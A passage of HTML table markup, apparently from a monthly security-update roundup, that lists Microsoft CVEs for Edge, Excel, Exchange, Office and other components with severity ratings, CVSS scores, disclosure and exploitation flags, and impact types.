  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
